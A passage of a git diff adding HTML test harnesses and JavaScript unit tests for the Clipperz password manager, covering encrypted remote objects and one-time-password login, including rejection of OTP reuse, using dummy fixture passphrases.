<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="EncryptedRemoteObject.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,225 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_tests': function(someTestArgs) {
|
||||
var deferredResult;
|
||||
var encryptedRemoteObject;
|
||||
|
||||
var key;
|
||||
var version;
|
||||
var rawData;
|
||||
|
||||
key = "just a random key";
|
||||
version = Clipperz.PM.Crypto.encryptingFunctions.currentVersion;
|
||||
rawData = "just a random text to encrypt";
|
||||
|
||||
encryptedRemoteObject = new Clipperz.PM.DataModel.EncryptedRemoteObject({
|
||||
'retrieveKeyFunction': MochiKit.Base.noop,
|
||||
'retrieveRemoteDataFunction': function () { return "--"},
|
||||
'encryptedDataKeypath': '--',
|
||||
'encryptedVersionKeypath': '--'
|
||||
});
|
||||
SimpleTest.ok(encryptedRemoteObject != null, "create an encryptedRemoteObject");
|
||||
|
||||
deferredResult = Clipperz.Async.callbacks("EncryptedRemoteObject.test - simple_tests", [
|
||||
MochiKit.Base.method(encryptedRemoteObject, 'getRemoteData'),
|
||||
function(aResult) {
|
||||
SimpleTest.is(aResult, "--", "setting and getting serverData works");
|
||||
}
|
||||
], someTestArgs);
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'decrypt_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var encryptedRemoteObject;
|
||||
var key;
|
||||
var version;
|
||||
var rawData;
|
||||
|
||||
key = "just a random key";
|
||||
version = Clipperz.PM.Crypto.encryptingFunctions.currentVersion;
|
||||
rawData = "just a random text to encrypt";
|
||||
|
||||
encryptedRemoteObject = new Clipperz.PM.DataModel.EncryptedRemoteObject({
|
||||
'retrieveKeyFunction': MochiKit.Base.partial(MochiKit.Async.succeed, key),
|
||||
'retrieveRemoteDataFunction': MochiKit.Base.partial(Clipperz.Async.callbacks, "EncryptedRemoteObject.test - decrypt_test <encrypt data>", [
|
||||
MochiKit.Base.partial(Clipperz.PM.Crypto.deferredEncrypt, {key:key, value:rawData, version:version}),
|
||||
function (someEncryptedData) {
|
||||
return {
|
||||
'data': someEncryptedData,
|
||||
'version': version
|
||||
}
|
||||
}
|
||||
], someTestArgs)//,
|
||||
// 'encryptedDataKeypath': 'data',
|
||||
// 'encryptedVersionKeypath': 'version'
|
||||
});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("decrypt_test", someTestArgs);
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'getDecryptedData');
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.is(aResult, rawData, "encrypt and decrypt works");
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'getValue_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var encryptedRemoteObject;
|
||||
var key;
|
||||
var version;
|
||||
var rawData;
|
||||
|
||||
key = "just a random key";
|
||||
version = Clipperz.PM.Crypto.encryptingFunctions.currentVersion;
|
||||
rawData = {
|
||||
key1: 'value1',
|
||||
key2: 'value2'
|
||||
};
|
||||
|
||||
encryptedRemoteObject = new Clipperz.PM.DataModel.EncryptedRemoteObject({
|
||||
'reference': "testReference",
|
||||
'retrieveKeyFunction': MochiKit.Base.partial(MochiKit.Async.succeed, key),
|
||||
'retrieveRemoteDataFunction': MochiKit.Base.partial(Clipperz.Async.callbacks, "EncryptedRemoteObject.test - decrypt_test <encrypt data>", [
|
||||
MochiKit.Base.partial(Clipperz.PM.Crypto.deferredEncrypt, {key:key, value:rawData, version:version}),
|
||||
function (someEncryptedData) {
|
||||
return {
|
||||
'data': someEncryptedData,
|
||||
'version': version
|
||||
}
|
||||
}
|
||||
], someTestArgs)//,
|
||||
// 'encryptedDataKeypath': 'data',
|
||||
// 'encryptedVersionKeypath': 'version'
|
||||
});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("decrypt_test", someTestArgs);
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'getValue', 'key1');
|
||||
deferredResult.addTest('value1', "getting 'key1' works");
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'hasAnyCleanTextData');
|
||||
deferredResult.addTest(true, "After accessing a value, hasAnyCleanTextData returns false");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'hasPendingChanges');
|
||||
deferredResult.addTest(false, "if nothing has changed, the object should return not pending changes");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'deleteAllCleanTextData');
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'hasAnyCleanTextData');
|
||||
deferredResult.addTest(false, "After deleting all cleanTextData, hasAnyCleanTextData returns false");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'getValue', 'key1');
|
||||
deferredResult.addTest('value1', "getting 'key1' (also after a lock) works correctly");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'setValue', 'key1', 'new value1');
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'getValue', 'key1');
|
||||
deferredResult.addTest('new value1', "after setting a new value, it is correctly returned");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'values');
|
||||
deferredResult.addCallback(function (someValues) {
|
||||
SimpleTest.is(someValues['key1'], 'new value1', "the value got straight from the objectStore is correct");
|
||||
});
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'hasPendingChanges');
|
||||
deferredResult.addTest(true, "once a value has been changed, the object should return that there're some pending changes");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'revertChanges');
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'hasPendingChanges');
|
||||
deferredResult.addTest(false, "reverting the changes should return the object to its initial state, without any peding changes");
|
||||
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'getValue', 'key1');
|
||||
deferredResult.addTest('value1', "also the value of the changed item has been restored");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'encrypt_with_new_object_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var encryptedRemoteObject;
|
||||
var key;
|
||||
// var version;
|
||||
// var rawData;
|
||||
|
||||
key = "just a random key";
|
||||
// version = Clipperz.PM.Crypto.encryptingFunctions.currentVersion;
|
||||
// rawData = "just a random text to encrypt";
|
||||
|
||||
encryptedRemoteObject = new Clipperz.PM.DataModel.EncryptedRemoteObject({
|
||||
'retrieveRemoteDataFunction': MochiKit.Base.noop
|
||||
});
|
||||
|
||||
encryptedRemoteObject.setValue('key1', "value1");
|
||||
encryptedRemoteObject.setValue('key2', "value2");
|
||||
encryptedRemoteObject.setValue('key3', "value3");
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("encrypt_with_new_object_test", someTestArgs);
|
||||
deferredResult.addMethod(encryptedRemoteObject, 'prepareRemoteDataWithKey', key);
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('data'));
|
||||
deferredResult.collectResults({
|
||||
'key': MochiKit.Base.partial(MochiKit.Async.succeed, key),
|
||||
'value': MochiKit.Async.succeed,
|
||||
'version': MochiKit.Base.partial(MochiKit.Async.succeed, Clipperz.PM.Crypto.encryptingFunctions.currentVersion)
|
||||
});
|
||||
deferredResult.addCallback(Clipperz.PM.Crypto.deferredDecrypt);
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.is(aResult['key1'], "value1", "encrypt and decrypt works for first element");
|
||||
SimpleTest.is(aResult['key2'], "value2", "encrypt and decrypt works for second element");
|
||||
SimpleTest.is(aResult['key3'], "value3", "encrypt and decrypt works for third element");
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//-------------------------------------------------------------------------
|
||||
//-------------------------------------------------------------------------
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.DataModel.EncryptedRemoteObject", tests, {trace:false});
|
||||
@@ -0,0 +1,105 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.User - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/UI/Common/Controllers/DirectLoginRunner.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginInput.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginBinding.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginFormValue.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Preferences.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.OneTimePasswords.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/OneTimePassword.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
<script>
|
||||
Clipperz_IEisBroken = false;
|
||||
</script>
|
||||
|
||||
<!--[if IE]><script>
|
||||
Clipperz_IEisBroken = true;
|
||||
Clipperz_normalizedNewLine = '\x0d\x0a';
|
||||
</script><![endif]-->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script>
|
||||
Clipperz.PM.Strings.Languages.setSelectedLanguage('en-us');
|
||||
</script>
|
||||
<script type="text/javascript" src="User.data.js"></script>
|
||||
<script type="text/javascript" src="OneTimePassword.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,198 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'isValidOneTimePasswordValue_test': function (someTestArgs) {
|
||||
var otp;
|
||||
var notOTP;
|
||||
|
||||
otp = 'yaxx k7ww - f8y6 tqz5 - 58b6 th44 - 9cwv q0fg';
|
||||
SimpleTest.is(Clipperz.PM.DataModel.OneTimePassword.isValidOneTimePasswordValue(otp), true, "isValidOneTimePasswordValue [expect true] - test 1");
|
||||
|
||||
notOTP = 'trustno1';
|
||||
SimpleTest.is(Clipperz.PM.DataModel.OneTimePassword.isValidOneTimePasswordValue(notOTP), false, "isValidOneTimePasswordValue [expect false] - test 1");
|
||||
|
||||
return MochiKit.Async.succeed('done');
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'loginUsingOtp_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user, user2;
|
||||
var username;
|
||||
var passphrase;
|
||||
|
||||
username = "test";
|
||||
passphrase = "yaxx k7ww - f8y6 tqz5 - 58b6 th44 - 9cwv q0fg"; // OTP
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:username, getPassphraseFunction:function () { return passphrase;}});
|
||||
user2 = new Clipperz.PM.DataModel.User({username:username, getPassphraseFunction:function () { return passphrase;}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("loginUsingOtp_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_with_otps']);
|
||||
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.addMethod(user, 'getRecords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('length'));
|
||||
deferredResult.addTest(1, "This account has one single card");
|
||||
|
||||
deferredResult.addMethod(user, 'getOneTimePasswords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('length'));
|
||||
deferredResult.addTest(1, "This account has one OTP");
|
||||
|
||||
deferredResult.addMethod(user, 'getOneTimePasswords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter(0));
|
||||
deferredResult.addCallback(MochiKit.Base.methodcaller('status'));
|
||||
deferredResult.addTest('USED', "The available OTP has been unsed to login, and should be marked accordingly");
|
||||
|
||||
deferredResult.addMethod(user2, 'login');
|
||||
deferredResult.shouldFail("trying to login using the same OTP twice");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'changePassphraseAndLoginUsingOtp_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user;
|
||||
var user2;
|
||||
var user3;
|
||||
var otp;
|
||||
|
||||
otp = "yaxx k7ww - f8y6 tqz5 - 58b6 th44 - 9cwv q0fg"; // OTP
|
||||
|
||||
newPassphrase = 'tset';
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return 'test';}});
|
||||
user2 = new Clipperz.PM.DataModel.User({username:'test', getPassphraseFunction:function () { return otp;}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("changePassphraseAndLoginUsingOtp_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_with_otps']);
|
||||
|
||||
deferredResult.addMethod(user, 'login');
|
||||
|
||||
deferredResult.addMethod(user, 'getRecords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('length'));
|
||||
deferredResult.addTest(1, "This account has only a single card");
|
||||
|
||||
deferredResult.addMethod(user, 'changePassphrase', newPassphrase);
|
||||
deferredResult.addMethod(user, 'logout');
|
||||
|
||||
deferredResult.addMethod(user2, 'login');
|
||||
deferredResult.addMethod(user2, 'getRecords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('length'));
|
||||
deferredResult.addTest(1, "This account has oly a single card");
|
||||
deferredResult.addMethod(user2, 'logout');
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'loginUsingOtpAndWrongUsername_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user, user2;
|
||||
var username;
|
||||
var wrongUsername;
|
||||
var passphrase;
|
||||
|
||||
username = "test";
|
||||
wrongUsername = "tset";
|
||||
passphrase = "yaxx k7ww - f8y6 tqz5 - 58b6 th44 - 9cwv q0fg"; // OTP
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:wrongUsername, getPassphraseFunction:function () { return passphrase;}});
|
||||
user2 = new Clipperz.PM.DataModel.User({username:username, getPassphraseFunction:function () { return passphrase;}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("loginUsingOtpAndWrongUsername_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['test_test_with_otps']);
|
||||
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.shouldFail("login in using the wrong username with the OTP should fail");
|
||||
|
||||
deferredResult.addMethod(user2, 'login');
|
||||
deferredResult.shouldFail("trying to reuse the same OTP should fail, even if now it is used with the correct username");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'loginUserWithAPassphraseLookingExactlyLikeAnOTP_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var proxy;
|
||||
var user;
|
||||
var username;
|
||||
var passphrase;
|
||||
|
||||
username = "otp_user";
|
||||
passphrase = "yaxx k7ww - f8y6 tqz5 - 58b6 th44 - 9cwv q0fg"; // passphrase
|
||||
|
||||
proxy = new Clipperz.PM.Proxy.Test({shouldPayTolls:true, isDefault:true, readOnly:false});
|
||||
user = new Clipperz.PM.DataModel.User({username:username, getPassphraseFunction:function () { return passphrase;}});
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("loginUserWithAPassphraseLookingExactlyLikeAnOTP_test", someTestArgs);
|
||||
deferredResult.addMethod(proxy.dataStore(), 'setupWithEncryptedData', testData['otp_user_test']);
|
||||
|
||||
deferredResult.addMethod(user, 'login');
|
||||
deferredResult.addMethod(user, 'getRecords');
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('length'));
|
||||
deferredResult.addTest(1, "This account has one single card");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.PM.DataModel.OneTimePassword", tests, {trace:false});
|
||||
98
frontend/gamma/tests/tests/Clipperz/PM/DataModel/Record.html
Normal file
@@ -0,0 +1,98 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.DataModel.Record - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Signal.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Toll.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Test.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Proxy/Proxy.Offline.DataStore.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Strings/Strings_en-US.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/Date.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/EncryptedRemoteObject.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/Record.Version.Field.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLogin.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginInput.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginBinding.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/DirectLoginFormValue.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Legacy.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.RecordIndex.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.Preferences.js'></script>
|
||||
<script type='text/javascript' src='../../../../../js/Clipperz/PM/DataModel/User.Header.OneTimePasswords.js'></script>
|
||||
